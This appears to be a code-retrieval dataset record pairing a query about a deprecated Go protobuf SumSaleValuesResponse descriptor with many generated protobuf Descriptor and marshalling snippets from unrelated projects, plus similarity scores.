file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{15}\n}", "func (*IntegrationConsumeSettingUpdateReq) Descriptor() ([]byte, []int) {\n\treturn file_ums_proto_rawDescGZIP(), []int{41}\n}", "func (*SumResponse) Descriptor() ([]byte, []int) {\n\treturn file_calculatorpb_calculator_proto_rawDescGZIP(), []int{1}\n}", "func (*DeleteRequest) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{14}\n}", "func (*UpdateServicesRequest) Descriptor() ([]byte, []int) {\n\treturn file_contract_proto_rawDescGZIP(), []int{5}\n}", "func (*DeviceDecommissioningConfigRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{8}\n}", "func (*PropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{1}\n}", "func (*DeviceDecommissioningConfigSetRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{12}\n}", "func (*CalculateDealPriceRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_mindexd_pb_mindexd_proto_rawDescGZIP(), []int{13}\n}", "func (*BulkPropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{3}\n}", "func (*CMsgSocialFeedRequest) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{304}\n}", "func (*UpdateSmsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_sms_v1_sms_sms_proto_rawDescGZIP(), []int{2}\n}", "func (x *fastReflection_MsgSetWithdrawAddress) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgSetWithdrawAddress\n}", "func (*GetServiceRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_appengine_v1_appengine_proto_rawDescGZIP(), []int{6}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) ProtoMethods() *protoiface.Methods {\n\tsize := func(input protoiface.SizeInput) protoiface.SizeOutput {\n\t\tx := input.Message.Interface().(*MsgCommunityPoolSpend)\n\t\tif x == nil {\n\t\t\treturn protoiface.SizeOutput{\n\t\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\t\tSize: 0,\n\t\t\t}\n\t\t}\n\t\toptions := runtime.SizeInputToOptions(input)\n\t\t_ = options\n\t\tvar n int\n\t\tvar l int\n\t\t_ = l\n\t\tl = len(x.Authority)\n\t\tif l > 0 {\n\t\t\tn += 1 + l + runtime.Sov(uint64(l))\n\t\t}\n\t\tl = len(x.Recipient)\n\t\tif l > 0 {\n\t\t\tn += 1 + l + runtime.Sov(uint64(l))\n\t\t}\n\t\tif len(x.Amount) > 0 {\n\t\t\tfor _, e := range x.Amount {\n\t\t\t\tl = options.Size(e)\n\t\t\t\tn += 1 + l + runtime.Sov(uint64(l))\n\t\t\t}\n\t\t}\n\t\tif x.unknownFields != nil {\n\t\t\tn += len(x.unknownFields)\n\t\t}\n\t\treturn protoiface.SizeOutput{\n\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\tSize: n,\n\t\t}\n\t}\n\n\tmarshal := func(input protoiface.MarshalInput) (protoiface.MarshalOutput, error) {\n\t\tx := input.Message.Interface().(*MsgCommunityPoolSpend)\n\t\tif x == nil {\n\t\t\treturn protoiface.MarshalOutput{\n\t\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\t\tBuf: input.Buf,\n\t\t\t}, nil\n\t\t}\n\t\toptions := runtime.MarshalInputToOptions(input)\n\t\t_ = options\n\t\tsize := options.Size(x)\n\t\tdAtA := make([]byte, size)\n\t\ti := len(dAtA)\n\t\t_ = i\n\t\tvar l int\n\t\t_ = l\n\t\tif x.unknownFields != nil {\n\t\t\ti -= len(x.unknownFields)\n\t\t\tcopy(dAtA[i:], x.unknownFields)\n\t\t}\n\t\tif len(x.Amount) > 0 {\n\t\t\tfor iNdEx := len(x.Amount) - 1; iNdEx >= 0; iNdEx-- {\n\t\t\t\tencoded, err := options.Marshal(x.Amount[iNdEx])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn protoiface.MarshalOutput{\n\t\t\t\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\t\t\t\tBuf: input.Buf,\n\t\t\t\t\t}, err\n\t\t\t\t}\n\t\t\t\ti -= len(encoded)\n\t\t\t\tcopy(dAtA[i:], encoded)\n\t\t\t\ti = runtime.EncodeVarint(dAtA, i, uint64(len(encoded)))\n\t\t\t\ti--\n\t\t\t\tdAtA[i] = 0x1a\n\t\t\t}\n\t\t}\n\t\tif len(x.Recipient) > 0 {\n\t\t\ti -= len(x.Recipient)\n\t\t\tcopy(dAtA[i:], x.Recipient)\n\t\t\ti = runtime.EncodeVarint(dAtA, i, uint64(len(x.Recipient)))\n\t\t\ti--\n\t\t\tdAtA[i] = 0x12\n\t\t}\n\t\tif len(x.Authority) > 0 {\n\t\t\ti -= len(x.Authority)\n\t\t\tcopy(dAtA[i:], x.Authority)\n\t\t\ti = runtime.EncodeVarint(dAtA, i, uint64(len(x.Authority)))\n\t\t\ti--\n\t\t\tdAtA[i] = 0xa\n\t\t}\n\t\tif input.Buf != nil {\n\t\t\tinput.Buf = append(input.Buf, dAtA...)\n\t\t} else {\n\t\t\tinput.Buf = dAtA\n\t\t}\n\t\treturn protoiface.MarshalOutput{\n\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\tBuf: input.Buf,\n\t\t}, nil\n\t}\n\tunmarshal := func(input protoiface.UnmarshalInput) (protoiface.UnmarshalOutput, error) {\n\t\tx := input.Message.Interface().(*MsgCommunityPoolSpend)\n\t\tif x == nil {\n\t\t\treturn protoiface.UnmarshalOutput{\n\t\t\t\tNoUnkeyedLiterals: input.NoUnkeyedLiterals,\n\t\t\t\tFlags: input.Flags,\n\t\t\t}, nil\n\t\t}\n\t\toptions := runtime.UnmarshalInputToOptions(input)\n\t\t_ = options\n\t\tdAtA := input.Buf\n\t\tl := len(dAtA)\n\t\tiNdEx := 0\n\t\tfor iNdEx < l {\n\t\t\tpreIndex := iNdEx\n\t\t\tvar wire uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrIntOverflow\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\twire |= uint64(b&0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tfieldNum := int32(wire >> 3)\n\t\t\twireType := int(wire & 0x7)\n\t\t\tif wireType == 4 {\n\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, fmt.Errorf(\"proto: MsgCommunityPoolSpend: wiretype end group for non-group\")\n\t\t\t}\n\t\t\tif fieldNum <= 0 {\n\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, fmt.Errorf(\"proto: MsgCommunityPoolSpend: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t\t}\n\t\t\tswitch fieldNum {\n\t\t\tcase 1:\n\t\t\t\tif wireType != 2 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, fmt.Errorf(\"proto: wrong wireType = %d for field Authority\", wireType)\n\t\t\t\t}\n\t\t\t\tvar stringLen uint64\n\t\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\t\tif shift >= 64 {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrIntOverflow\n\t\t\t\t\t}\n\t\t\t\t\tif iNdEx >= l {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t\t}\n\t\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\t\tiNdEx++\n\t\t\t\t\tstringLen |= uint64(b&0x7F) << shift\n\t\t\t\t\tif b < 0x80 {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tintStringLen := int(stringLen)\n\t\t\t\tif intStringLen < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\t\tif postIndex < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tif postIndex > l {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tx.Authority = string(dAtA[iNdEx:postIndex])\n\t\t\t\tiNdEx = postIndex\n\t\t\tcase 2:\n\t\t\t\tif wireType != 2 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, fmt.Errorf(\"proto: wrong wireType = %d for field Recipient\", wireType)\n\t\t\t\t}\n\t\t\t\tvar stringLen uint64\n\t\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\t\tif shift >= 64 {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrIntOverflow\n\t\t\t\t\t}\n\t\t\t\t\tif iNdEx >= l {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t\t}\n\t\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\t\tiNdEx++\n\t\t\t\t\tstringLen |= uint64(b&0x7F) << shift\n\t\t\t\t\tif b < 0x80 {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tintStringLen := int(stringLen)\n\t\t\t\tif intStringLen < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\t\tif postIndex < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tif postIndex > l {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tx.Recipient = string(dAtA[iNdEx:postIndex])\n\t\t\t\tiNdEx = postIndex\n\t\t\tcase 3:\n\t\t\t\tif wireType != 2 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, fmt.Errorf(\"proto: wrong wireType = %d for field Amount\", wireType)\n\t\t\t\t}\n\t\t\t\tvar msglen int\n\t\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\t\tif shift >= 64 {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrIntOverflow\n\t\t\t\t\t}\n\t\t\t\t\tif iNdEx >= l {\n\t\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t\t}\n\t\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\t\tiNdEx++\n\t\t\t\t\tmsglen |= int(b&0x7F) << shift\n\t\t\t\t\tif b < 0x80 {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif msglen < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tpostIndex := iNdEx + msglen\n\t\t\t\tif postIndex < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tif postIndex > l {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tx.Amount = append(x.Amount, &v1beta1.Coin{})\n\t\t\t\tif err := options.Unmarshal(dAtA[iNdEx:postIndex], x.Amount[len(x.Amount)-1]); err != nil {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, err\n\t\t\t\t}\n\t\t\t\tiNdEx = postIndex\n\t\t\tdefault:\n\t\t\t\tiNdEx = preIndex\n\t\t\t\tskippy, err := runtime.Skip(dAtA[iNdEx:])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, err\n\t\t\t\t}\n\t\t\t\tif (skippy < 0) || (iNdEx+skippy) < 0 {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, runtime.ErrInvalidLength\n\t\t\t\t}\n\t\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tif !options.DiscardUnknown {\n\t\t\t\t\tx.unknownFields = append(x.unknownFields, dAtA[iNdEx:iNdEx+skippy]...)\n\t\t\t\t}\n\t\t\t\tiNdEx += skippy\n\t\t\t}\n\t\t}\n\n\t\tif iNdEx > l {\n\t\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, io.ErrUnexpectedEOF\n\t\t}\n\t\treturn protoiface.UnmarshalOutput{NoUnkeyedLiterals: input.NoUnkeyedLiterals, Flags: input.Flags}, nil\n\t}\n\treturn &protoiface.Methods{\n\t\tNoUnkeyedLiterals: struct{}{},\n\t\tFlags: protoiface.SupportMarshalDeterministic | protoiface.SupportUnmarshalDiscardUnknown,\n\t\tSize: size,\n\t\tMarshal: marshal,\n\t\tUnmarshal: unmarshal,\n\t\tMerge: nil,\n\t\tCheckInitialized: nil,\n\t}\n}", "func (*DeleteSmsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_sms_v1_sms_sms_proto_rawDescGZIP(), []int{4}\n}", "func (*MutateCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_ads_googleads_v14_services_customer_service_proto_rawDescGZIP(), []int{0}\n}", "func (*PlanChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_plan_change_proto_rawDescGZIP(), []int{0, 3}\n}", "func (*CollectRequest) Descriptor() ([]byte, []int) {\n\treturn file_orc8r_cloud_go_services_analytics_protos_collector_proto_rawDescGZIP(), []int{0}\n}", "func (x *fastReflection_QueryAccountsRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryAccountsRequest\n}", "func (*CMsgEventTipsSummaryRequest) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{302}\n}", "func (x *fastReflection_AddressStringToBytesRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_AddressStringToBytesRequest\n}", "func (*AlertStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_alert_v1_services_gen_proto_rawDescGZIP(), []int{2}\n}", "func (*GenerateProductMixIdeasRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_ads_googleads_v2_services_reach_plan_service_proto_rawDescGZIP(), []int{7}\n}", "func (*GasPriceRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{21}\n}", "func (*UpdateWithdrawRequest) Descriptor() ([]byte, []int) {\n\treturn file_services_temporal_service_proto_rawDescGZIP(), []int{4}\n}", "func (x *fastReflection_MsgUpdateParams) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParams\n}", "func (*PostTrendingMetricsViewRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{171}\n}", "func (*WithdrawalsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_trading_proto_rawDescGZIP(), []int{130}\n}", "func (*SpendingRequest) Descriptor() ([]byte, []int) {\n\treturn file_recordwants_proto_rawDescGZIP(), []int{4}\n}", "func (*WriteFeatureValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{0}\n}", "func (*InvokeServiceRequest) Descriptor() ([]byte, []int) {\n\treturn file_runtime_proto_rawDescGZIP(), []int{16}\n}", "func (*GetModelVersionMetricsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{94}\n}", "func (*DebitRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_wallet_proto_rawDescGZIP(), []int{13}\n}", "func (*DeviceStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{2}\n}", "func (*ProductPriceRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_Ultimate_Super_WebDev_Corp_gateway_services_widget_widget_proto_rawDescGZIP(), []int{1}\n}", "func (*RefreshRequest) Descriptor() ([]byte, []int) {\n\treturn file_cloudprovider_externalgrpc_protos_externalgrpc_proto_rawDescGZIP(), []int{16}\n}", "func (*WatchLimitsRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_limit_service_proto_rawDescGZIP(), []int{7}\n}", "func (*GetSaleOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{1}\n}", "func (*UpdateRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_Ultimate_Super_WebDev_Corp_gateway_services_customer_customer_proto_rawDescGZIP(), []int{4}\n}", "func (*TelemetryRequest) Descriptor() ([]byte, []int) {\n\treturn file_automate_gateway_api_telemetry_telemetry_proto_rawDescGZIP(), []int{0}\n}", "func (*PriceCalendarRequest) Descriptor() ([]byte, []int) {\n\treturn file_fare_proto_rawDescGZIP(), []int{12}\n}", "func (*CreateSaleOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{5}\n}", "func (*FloatRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_calc_proto_rawDescGZIP(), []int{2}\n}", "func (*PricingNodePriceRequest) Descriptor() ([]byte, []int) {\n\treturn file_cloudprovider_externalgrpc_protos_externalgrpc_proto_rawDescGZIP(), []int{6}\n}", "func (*CreateResellerServedCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{3}\n}", "func (*CMsgClientToGCPlayerStatsRequest) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{143}\n}", "func (*ProvisionedDeviceStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{34}\n}", "func (MarketSummary_SummaryType) EnumDescriptor() ([]byte, []int) {\n\treturn file_openfeed_proto_rawDescGZIP(), []int{48, 1}\n}", "func (x *fastReflection_MsgUpdateParamsResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParamsResponse\n}", "func (StandardPTransforms_DeprecatedPrimitives) EnumDescriptor() ([]byte, []int) {\n\treturn file_org_apache_beam_model_pipeline_v1_beam_runner_api_proto_rawDescGZIP(), []int{4, 1}\n}", "func (RegulationSHOShortSalePriceTest) EnumDescriptor() ([]byte, []int) {\n\treturn file_openfeed_proto_rawDescGZIP(), []int{2}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) Mutable(fd protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch fd.FullName() {\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.amount\":\n\t\tif x.Amount == nil {\n\t\t\tx.Amount = []*v1beta1.Coin{}\n\t\t}\n\t\tvalue := &_MsgCommunityPoolSpend_3_list{list: &x.Amount}\n\t\treturn protoreflect.ValueOfList(value)\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.authority\":\n\t\tpanic(fmt.Errorf(\"field authority of message cosmos.distribution.v1beta1.MsgCommunityPoolSpend is not mutable\"))\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.recipient\":\n\t\tpanic(fmt.Errorf(\"field recipient of message cosmos.distribution.v1beta1.MsgCommunityPoolSpend is not mutable\"))\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgCommunityPoolSpend\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgCommunityPoolSpend does not contain field %s\", fd.FullName()))\n\t}\n}", "func (*UpdateSecurityGroupRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_vpc_v1_security_group_service_proto_rawDescGZIP(), []int{6}\n}", "func (*CalculatorRequest) Descriptor() ([]byte, []int) {\n\treturn file_basicpb_unary_api_proto_rawDescGZIP(), []int{4}\n}", "func (*Sums) Descriptor() ([]byte, []int) {\n\treturn file_proto_calculate_proto_rawDescGZIP(), []int{0}\n}", "func (*FeedbackRequest) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{10}\n}", "func (*EstimateMarginRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_trading_proto_rawDescGZIP(), []int{124}\n}", "func (*DeleteCollectorsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{162}\n}", "func (*SqrtRequest) Descriptor() ([]byte, []int) {\n\treturn file_calculatorpb_calculator_proto_rawDescGZIP(), []int{8}\n}", "func (*NodeGroupDecreaseTargetSizeRequest) Descriptor() ([]byte, []int) {\n\treturn file_cloudprovider_externalgrpc_protos_externalgrpc_proto_rawDescGZIP(), []int{24}\n}", "func (*SendRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{5}\n}", "func (*PostModelVersionMetricsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{93}\n}", "func (*AddCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_services_grpcPb_grpc_proto_rawDescGZIP(), []int{8}\n}", "func (*BatchGetLimitsRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_limit_service_proto_rawDescGZIP(), []int{1}\n}", "func (*EstimateFeeRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_trading_proto_rawDescGZIP(), []int{122}\n}", "func (*GetSaleOrdersResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{3}\n}", "func (*UpdateRunRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_datacatalog_lineage_v1_lineage_proto_rawDescGZIP(), []int{13}\n}" ]
[ "0.6645216", "0.600242", "0.5958504", "0.5919472", "0.5913957", "0.5890063", "0.5843352", "0.58195996", "0.57833153", "0.5769982", "0.57416576", "0.57240784", "0.57084304", "0.569001", "0.56584746", "0.5644444", "0.5638984", "0.5627937", "0.56184053", "0.56153077", "0.55946445", "0.55940187", "0.55890363", "0.5586179", "0.5576886", "0.55725884", "0.5569606", "0.5535948", "0.5528469", "0.5523019", "0.5518252", "0.55111426", "0.5502975", "0.5470468", "0.54682887", "0.54566216", "0.54532987", "0.5442935", "0.5436823", "0.54345834", "0.54322493", "0.5431525", "0.5429323", "0.5428862", "0.5418057", "0.5417927", "0.54157966", "0.54152393", "0.541464", "0.5406299", "0.53945786", "0.53944534", "0.5389895", "0.5380895", "0.53783005", "0.5364647", "0.53639346", "0.5361889", "0.53611654", "0.53587496", "0.5357187", "0.53560936", "0.53515714", "0.53481454", "0.5346322", "0.5342712", "0.5341765", "0.5339893", "0.5335671", "0.53331965", "0.53281206", "0.5326986", "0.5326519", "0.5325183", "0.5324433", "0.5315111", "0.5314971", "0.5312436", "0.53115153", "0.53100103", "0.53024465", "0.5301763", "0.5301627", "0.52968633", "0.52959377", "0.5295683", "0.5294378", "0.5293383", "0.5292329", "0.52917403", "0.5290429", "0.5289284", "0.52882504", "0.5286599", "0.52853906", "0.5282725", "0.5282144", "0.52814615", "0.5280807", "0.5280136" ]
0.7417047
0
Deprecated: Use SumSaleValuesResponse.ProtoReflect.Descriptor instead.
func (*SumSaleValuesResponse) Descriptor() ([]byte, []int) { return file_sale_proto_rawDescGZIP(), []int{1} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (*SumSaleValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_sale_proto_rawDescGZIP(), []int{0}\n}", "func (x *fastReflection_MsgCommunityPoolSpendResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCommunityPoolSpendResponse\n}", "func (*GetSaleOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{1}\n}", "func (x *fastReflection_MsgCommunityPoolSpendResponse) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgCommunityPoolSpendResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgCommunityPoolSpendResponse does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*GetSaleOrdersResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{3}\n}", "func (*CreateSaleOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{5}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCommunityPoolSpend\n}", "func (x *fastReflection_MsgUpdateParamsResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParamsResponse\n}", "func (ThirdPartyPaymentType) EnumDescriptor() ([]byte, []int) {\n\treturn file_api_proto_global_Global_proto_rawDescGZIP(), []int{19}\n}", "func (*GetSaleOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{0}\n}", "func (*MetricsRequest) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{11}\n}", "func (*DeviceDecommissioningStreamResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{7}\n}", "func (x *fastReflection_MsgSetWithdrawAddressResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgSetWithdrawAddressResponse\n}", "func (*SumResponse) Descriptor() ([]byte, []int) {\n\treturn file_calculatorpb_calculator_proto_rawDescGZIP(), []int{1}\n}", "func (x *fastReflection_MsgFundCommunityPoolResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgFundCommunityPoolResponse\n}", "func (*GetSaleOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{2}\n}", "func (*MetricsServiceRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{18}\n}", "func (*Deprecation) Descriptor() ([]byte, []int) {\n\treturn file_external_cfgmgmt_response_nodes_proto_rawDescGZIP(), []int{8}\n}", "func (*ReadFeatureValuesResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), 